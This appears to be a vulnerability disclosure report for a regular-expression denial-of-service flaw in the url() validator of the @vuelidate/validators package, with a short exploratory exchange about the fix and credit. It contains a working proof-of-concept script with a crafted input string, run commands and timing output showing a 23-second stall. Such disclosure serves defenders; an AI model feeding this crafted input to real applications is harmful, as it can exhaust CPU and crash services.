Inefficient Regular Expression Complexity in vuelidate/vuelidate
Reported on
Sep 1st 2021
βοΈ Description
A ReDoS (regular expression denial of service) flaw was found in the @vuelidate/validators
package. An attacker that is able to provide crafted input to the url(input) function may cause an application to consume an excessive amount of CPU.
π΅οΈββοΈ Proof of Concept
Create the following poc.mjs
import { url } from '@vuelidate/validators/dist/raw.esm.js';
var time = Date.now();
url('http://foobar.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.');
var time_cost = Date.now() - time;
console.log("Time taken to validate : " + time_cost+" ms")
Execute the following command in another terminal:
npm i @vuelidate/validators
node poc.mjs
Check the Output:
Time taken to validate : 23153 ms
π₯ Impact
This vulnerability is capable of exhausting system resources and leads to crashes. Ideally, validation should be done within 1-10 milliseconds, but in the above case, it's 23 sec. π Location url.js#L3
Occurrences
After applying the patch output is
Time taken to validate : 4 ms
The fix comes from https://gist.github.com/dperini/729294, but I gave credit to the developer who found the issue.
@Dobromir Thank you so much for the confirmation and credits.